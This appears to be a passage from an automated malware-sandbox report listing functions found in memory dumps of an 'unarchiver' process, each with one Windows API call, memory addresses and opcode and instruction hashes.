Opcode ID: 3dcf1fd9cc4a907f371e84354fde689a4c1d6ef3df7b3bc385a260fdf62349ea
Instruction ID: baa5d0639b0de7442a2644b2a1d5600e898b6857450b033c8097f477f4ef28c9
Opcode Fuzzy Hash: 3dcf1fd9cc4a907f371e84354fde689a4c1d6ef3df7b3bc385a260fdf62349ea
Instruction Fuzzy Hash: CF216B71504744AFD721CF11DC84FA7BBF8EF45624F0884AAEA89CB252D364E948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 024FA50F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNELBASE(?,00000E2C,?,?), ref: 024FA5B1

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 500d2b01a6b67d97fbe0915837d3c7948637c3054cb960b865bda25fd550d958
Instruction ID: d11b9cd55d5349b6a65206fe5e5294480e9cbbf750c2f454e9f678b019914aa8
Opcode Fuzzy Hash: 500d2b01a6b67d97fbe0915837d3c7948637c3054cb960b865bda25fd550d958
Instruction Fuzzy Hash: 7721977140D7C06FD7139B25DC51B62BFB4EF47614F0A81DBE8848B593D2246919CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 024FAD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 024FADA7

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ba130a1f848d33ac0e44d95dd5b8608611e98991385915bcac3899ade153c11f
Instruction ID: a09dda1485369c0a74d7899c99441539eddd61f117137c2c383150cf15570a0b
Opcode Fuzzy Hash: ba130a1f848d33ac0e44d95dd5b8608611e98991385915bcac3899ade153c11f
Instruction Fuzzy Hash: 8921C1B2500204AFEB219F61DC84FABF7ECEF44224F04886AEE458B651D734E458CB75

Uniqueness

Uniqueness Score: -1.00%

Function 024FA850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA8DE

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a97d9fcc0eab201ad3e1aaf7f44136abee373b6a8b35516a5219b438bb5931ff
Instruction ID: 6a70fb7843948ccff6eed1e2723e0494bfcc0d8fa3cc2359ec2a56f5db7e85a3
Opcode Fuzzy Hash: a97d9fcc0eab201ad3e1aaf7f44136abee373b6a8b35516a5219b438bb5931ff
Instruction Fuzzy Hash: 1221A7714083806FEB228B61DC44F66BFB8EF46614F0984EBED848F552C364A909C775

Uniqueness

Uniqueness Score: -1.00%

Function 024FA933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA9C1

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f484502de9a5e848d74b1ed84ac8498ce180e8b5d3a51c7d55dbb55c57c6bbfa
Instruction ID: ab0fe287d6fc8cc65d94ebd9b778d45d3d5453e3017b1cad2cfa27c54295e008
Opcode Fuzzy Hash: f484502de9a5e848d74b1ed84ac8498ce180e8b5d3a51c7d55dbb55c57c6bbfa
Instruction Fuzzy Hash: 92218171409380AFDB228F61DC45F97FFB8EF46214F08889BE9849F252C365A548CB75

Uniqueness

Uniqueness Score: -1.00%

Function 024FA5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 024FA67D

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7230e5e082131cc67cf3285046bd37a814b9723ad39cd204ac79324dd3580600
Instruction ID: f8cf534fc5d8697bb95bb5f67daafad3c894e08a086109f1a6b46483096e0b7a
Opcode Fuzzy Hash: 7230e5e082131cc67cf3285046bd37a814b9723ad39cd204ac79324dd3580600
Instruction Fuzzy Hash: BA21AC71500200AFEB21DF65DD84BA6FBE8EF08614F08886AEE898B751D375E518CB65

Uniqueness

Uniqueness Score: -1.00%

Function 024FA78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA815

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 26d2ebf8ed856857c7ec4bab8266c440a33cbfae6a96cf2ba6c5c95f0976558f
Instruction ID: af900022338ac781d1678c61ab331ed18ccb5657249f62611090c954170966da
Opcode Fuzzy Hash: 26d2ebf8ed856857c7ec4bab8266c440a33cbfae6a96cf2ba6c5c95f0976558f
Instruction Fuzzy Hash: 2521D5B54087806FE7128B21DC41BA7BFA8EF47724F0980DBED848B253D364A909C775

Uniqueness

Uniqueness Score: -1.00%

Function 024FAA0B Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 024FAA8B

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: fa1576aad64c569d5a1d41010acdba2d47070f6d4216786f2e50d04e71416e39
Instruction ID: aeba669897ac353df1e380961d247e7ee3b9cc92546e7c84e4fc3da2879dbdd3
Opcode Fuzzy Hash: fa1576aad64c569d5a1d41010acdba2d47070f6d4216786f2e50d04e71416e39
Instruction Fuzzy Hash: 1521AF719083805FDB12CB29DC55B93BFE8AF46214F0D84EAE988CB253D324D909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 024FA392 Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA40C

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 4ceacd81e31d21c3414ac41e1dcdca27e08b7a0949549da32d3a384fbfd5ce4a
Instruction ID: a6d2ee6db967e79c49a6d8cb700017ae1e02a65eff322b98f038ffa73e962e94
Opcode Fuzzy Hash: 4ceacd81e31d21c3414ac41e1dcdca27e08b7a0949549da32d3a384fbfd5ce4a
Instruction Fuzzy Hash: E6216A71600604AEEB60CF15DC84FA7F7E8EF44624F04846AEE498B751D360E849CA71

Uniqueness

Uniqueness Score: -1.00%

Function 024FA962 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA9C1

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 01983c401ee84d63ecaee4ea35563ba1b3ff99be8b8bafd82f59d8b016bce3d7
Instruction ID: 3152558320698f2b1c7a7bacaf8b27c31d83cbbd07b968d188c9f257f8546046
Opcode Fuzzy Hash: 01983c401ee84d63ecaee4ea35563ba1b3ff99be8b8bafd82f59d8b016bce3d7
Instruction Fuzzy Hash: C911BF72400200AFEB21CF51DC84FABFBE8EF44624F04886BEE498B651C374A558CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 024FA882 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA8DE

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e0287417bd8d063ab30d63d767c1a94e3b72e49e16dfe4909d133ad086ea282c
Instruction ID: 499739ecb7f79a99673632b2b7812b690040efba95b596133599b840685e5ac8
Opcode Fuzzy Hash: e0287417bd8d063ab30d63d767c1a94e3b72e49e16dfe4909d133ad086ea282c
Instruction Fuzzy Hash: 1311BF71404200AEEB61CF55DC84BA6FBE8EF44624F0488ABEE499B641C374A519CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 024FA2AE Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 024FA30C

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 6d18c1937fa45e936e5b4ee5d5ae25a07ea1d368acabe97adc1fd05a465882bb
Instruction ID: 0a93432112f3d0236ae0d704460a9b2be3a881e25c3bb40ee5291079e22bb627
Opcode Fuzzy Hash: 6d18c1937fa45e936e5b4ee5d5ae25a07ea1d368acabe97adc1fd05a465882bb
Instruction Fuzzy Hash: AA119E754093C09FDB228B25DC54B52BFB4DF47224F0A80DBDD888F263D265A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 024FAA46 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 024FAA8B

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 8aac179707f558b4e1faf01d2b0cfdae642e5b505e6360d58512e67e48e6a26f
Instruction ID: 172367a039734624b1aa8fd9a897103f4eb8ee65062a4a7236b9a1607cf38896
Opcode Fuzzy Hash: 8aac179707f558b4e1faf01d2b0cfdae642e5b505e6360d58512e67e48e6a26f
Instruction Fuzzy Hash: 12113C71A042409FEB50CF65D985757FBE8AF44624F08C4AAEE49CB741E374E548CA61

Uniqueness

Uniqueness Score: -1.00%

Function 024FA7C2 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA815

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b463cd1b4ce5cf79fb0fb995adba748bfbc64175cf1c27620d8c97509afe24ed
Instruction ID: 78e983c0bc19ecce2143fc82b3a57d365563597a1f60e5f3a935831b7221af0f
Opcode Fuzzy Hash: b463cd1b4ce5cf79fb0fb995adba748bfbc64175cf1c27620d8c97509afe24ed
Instruction Fuzzy Hash: 4B01D271504200AEE760CB11DC85BA7FBD8DF44624F04C0A7EE499B741D3B4B549CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 024FAF8B Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 024FAFE4

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: c44d094e04d09482195200aa10d58c8bf8c47627b466c3e786c9b17bcd1bf340
Instruction ID: d1471d6911be59a67a88595794070adeefc61e6aa8af110251ca742077791ea5
Opcode Fuzzy Hash: c44d094e04d09482195200aa10d58c8bf8c47627b466c3e786c9b17bcd1bf340
Instruction Fuzzy Hash: B4119E715093809FDB128B25DC45B52FFB4EF4A220F09C4EBED858B662D365A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 024FB1B4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 024FB208

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 3a37072e5b7ea7d30f05e47751657c7eb24d7e73f543b17b1b68a1810beaa3ac
Instruction ID: 09f50fc35e2e9346f9e5bd0ac0562b472e14b6f6c057dfbecab70f2c48d836b6
Opcode Fuzzy Hash: 3a37072e5b7ea7d30f05e47751657c7eb24d7e73f543b17b1b68a1810beaa3ac
Instruction Fuzzy Hash: AA115E71409380AFDB128F25EC48B56FFA4DF46224F0984EBED888F252D275A508CB62

Uniqueness

Uniqueness Score: -1.00%

Function 024FABE6 Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 024FAC36

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 3b672810682747ec95e1ec6cad5d0d6332faa9dd47b003e35c917e3bf67e05ac
Instruction ID: 9a43c6c4bdcdc03b26736cdf629d895ae5fb0df7c937dc2e1f02cb8e54bb0c8e
Opcode Fuzzy Hash: 3b672810682747ec95e1ec6cad5d0d6332faa9dd47b003e35c917e3bf67e05ac
Instruction Fuzzy Hash: 0401B171500600ABD710EF26DD81B66FBA8FB88A20F14856AED088B741D331B525CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 024FA172 Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 024FA1C2

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: e89de51b7dd374edee9a3b4a5623711d385bee373c1027f1abb67a66cd8a0ef5
Instruction ID: 92980dbf648fef6f1d3b7902fe39feb0d2e763275f2a10af80c74616f190045e
Opcode Fuzzy Hash: e89de51b7dd374edee9a3b4a5623711d385bee373c1027f1abb67a66cd8a0ef5
Instruction Fuzzy Hash: 5F01D471500600AFD710DF26DD81B66FBA8FB88A20F14856AED088B741D335F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 024FA566 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetTempPathW.KERNELBASE(?,00000E2C,?,?), ref: 024FA5B1

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: d6888fa927571d788562c1fd0dc2eb695f90484b54cc1ac82e0c7512e594e30e
Instruction ID: d4b9aed2b46a1eafacff2199af676c2e2534b63aff9337034366a73dde90c60e
Opcode Fuzzy Hash: d6888fa927571d788562c1fd0dc2eb695f90484b54cc1ac82e0c7512e594e30e
Instruction Fuzzy Hash: E901A271500600ABD610DF16DD82B26FBA8FB88A24F14815AED084BB41D331F525CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 024FA716 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 024FA748

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 696bc485b56bd696a01d992aa8d7ccd76a43cf4c8600cf604669f12eea01c8d4
Instruction ID: 5eb9d360bc1cdbd14f2cbe9c8f0a18b401ea1e3b85d2263f2c172dab76a555f6
Opcode Fuzzy Hash: 696bc485b56bd696a01d992aa8d7ccd76a43cf4c8600cf604669f12eea01c8d4
Instruction Fuzzy Hash: 7701DF719046409FDB50CF25E885BA6FBE4DF44220F18C4ABDE098F702D379E458CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 024FAFB2 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 024FAFE4

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 82f7f7ac55ffebdf354c2edda26b3c35fbcf077a2365fdb61867ce92c8c5e268
Instruction ID: 068386ff0ae27c7456cf6b83c7d5e27b91e87645fd03812d11e98b90f66c0e7f
Opcode Fuzzy Hash: 82f7f7ac55ffebdf354c2edda26b3c35fbcf077a2365fdb61867ce92c8c5e268
Instruction Fuzzy Hash: 4001D1755002409FDB508F15E885766FBA4EF49224F08C0ABDE4A8F752D375E458CE62

Uniqueness

Uniqueness Score: -1.00%

Function 024FA2DA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 024FA30C

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 320a9ea26f897ca5e8d0a98abf5759750143067abe8ff3aa5db9fc5eb08edd05
Instruction ID: 6b569a55e3a2538e3a5b7aca6914186b90a648485f44586327c3ecfa22b8cbcf
Opcode Fuzzy Hash: 320a9ea26f897ca5e8d0a98abf5759750143067abe8ff3aa5db9fc5eb08edd05
Instruction Fuzzy Hash: 5AF0AF35904240DFDB60CF06E889766FBE0EF44624F08C0ABDE494B716D3B5A458CE62

Uniqueness

Uniqueness Score: -1.00%

Function 04C102C0 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7f49767adecc23421947f1fc2020d216fd5c221b097079aaa37a4d7a906c48
Instruction ID: 4138fefd21aa02bf45423bb4bd0c10e5773cb92bd78a5b693f17f27ac9299a22
Opcode Fuzzy Hash: 1d7f49767adecc23421947f1fc2020d216fd5c221b097079aaa37a4d7a906c48
Instruction Fuzzy Hash: 8FB16E74B01110DFC714EF65E898B6E77B2FF8A340B10886AD9069B369EB349D42DB94

Uniqueness

Uniqueness Score: -1.00%

Function 04C10C99 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f95779447bcad4d5b18a0d416d93040bc1c0175c7fe361f5b836ffebfa533944
Instruction ID: a6a0c4c7663f76c0beb5ff04e6e26abbe687fa596680754900332ab14e182a81
Opcode Fuzzy Hash: f95779447bcad4d5b18a0d416d93040bc1c0175c7fe361f5b836ffebfa533944
Instruction Fuzzy Hash: 39214671B002104BCB01EB368851BFF7BE7ABC6204B09443DD546DB742DF78A90687A1

Uniqueness

Uniqueness Score: -1.00%

Function 04C10CA8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b6afd2c6fd6ab74215d9c73a7e887679ededfdabfa4f1f095bc715443e597d1
Instruction ID: 84428a17185486ddaab31e593440abdc5c9d9c40a4027a13608b1705ea970b00
Opcode Fuzzy Hash: 9b6afd2c6fd6ab74215d9c73a7e887679ededfdabfa4f1f095bc715443e597d1
Instruction Fuzzy Hash: 4B212771B002148BCB15FB3684507AFBBE3AFC6208F45883DC546DB756DF74A9068BA5

Uniqueness

Uniqueness Score: -1.00%

Function 04C10B8F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd356bdd0616fecba2d0f412d10dc02c34d21b40623676430791e9a3459ae749
Instruction ID: 168623745c5f58e065632f3b4ce1cbe54721ec78cb2072e04c7f68a357250d52
Opcode Fuzzy Hash: cd356bdd0616fecba2d0f412d10dc02c34d21b40623676430791e9a3459ae749
Instruction Fuzzy Hash: 8011D072B10104AFCB059FB4EC859DE7BF6EF88214B104975E606E7265EF359816CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04C10BA0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4dd14ea2960b6099890779112d44c398c77cff50b72a14d1d087d4850aeb93d
Instruction ID: 8bc20421a2f6a63ae971ffb135262b57de03c8d95813111bd492d25a82a70266
Opcode Fuzzy Hash: b4dd14ea2960b6099890779112d44c398c77cff50b72a14d1d087d4850aeb93d
Instruction Fuzzy Hash: 04119172B10114AFCB05AFB4E84599E7BF6EB882147104875E205E7365EF35A8158B81

Uniqueness

Uniqueness Score: -1.00%

Function 026607F8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.358877389.0000000002660000.00000040.00000020.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2660000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c7f1bd5a2a5264fe5c5b1418a99167a68fda748c0c76857f891b461734081b
Instruction ID: f7b43ff516a2d672af3477a05e091532a3bb9ddbb6f8bbe94b9a53211c90b7a9
Opcode Fuzzy Hash: 51c7f1bd5a2a5264fe5c5b1418a99167a68fda748c0c76857f891b461734081b
Instruction Fuzzy Hash: 520184B64093946FC701CB15EC41996FBFCDF86520B08C5AFEC498B602D375A9188BA2

Uniqueness

Uniqueness Score: -1.00%

Function 026605CF Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.358877389.0000000002660000.00000040.00000020.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2660000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 873770ed1c6c0d560d4d0f02e7b0c42bf399ad451d283ed2d7469ef197666959
Instruction ID: fc655dcfab336184c1ac89b77e51a33706b3aed29cf457f3ad68038cc48a9eda
Opcode Fuzzy Hash: 873770ed1c6c0d560d4d0f02e7b0c42bf399ad451d283ed2d7469ef197666959
Instruction Fuzzy Hash: 1E01DB7140D3805FC7118F15EC40863FFF8DF8A620749C4AFEC498B612D225B904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0266081E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.358877389.0000000002660000.00000040.00000020.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2660000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75271b101b2b88974f3b5bebdd2d96316dc81eb65a207761ce826a5eceec19d8
Instruction ID: 5ecc92cd8c0da45ac63a0a4c3ff042fe1572a0fa0258ec5611c70a4319f76cc1
Opcode Fuzzy Hash: 75271b101b2b88974f3b5bebdd2d96316dc81eb65a207761ce826a5eceec19d8
Instruction Fuzzy Hash: 25F082B28456046BD240DF05ED41896F7ECDF84521B14C56EEC088B700E376AA184EE2

Uniqueness

Uniqueness Score: -1.00%

Function 04C10C50 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a62f94f243c2fbb1e150a973559bce88f552accd63f28746ac0e5561c9f645f
Instruction ID: d5134d1770ac36edcc75f80f3470230ddc9bf5b2072d1b3e2c2f2ae583dbf7dd
Opcode Fuzzy Hash: 3a62f94f243c2fbb1e150a973559bce88f552accd63f28746ac0e5561c9f645f
Instruction Fuzzy Hash: A2E026B1F093582FCB04DBB89C626AE3FE6DB85164F0448BAD008D7342EA3D880283C4

Uniqueness

Uniqueness Score: -1.00%

Function 026605F6 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.358877389.0000000002660000.00000040.00000020.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2660000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0037c39ad89b1e82a0e45544b1298f4d5c90f0a32f13ffaff72d6edc1fa409d
Instruction ID: a18f6238d1bf8b98024ff033e4cf194fdd09df5fdf1ac6503ae511682c0a7262
Opcode Fuzzy Hash: b0037c39ad89b1e82a0e45544b1298f4d5c90f0a32f13ffaff72d6edc1fa409d
Instruction Fuzzy Hash: 1DE092766446004B9650CF0AFC41456F7D8EB88630718C47FDC0D8B710E235B508CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 04C10C60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

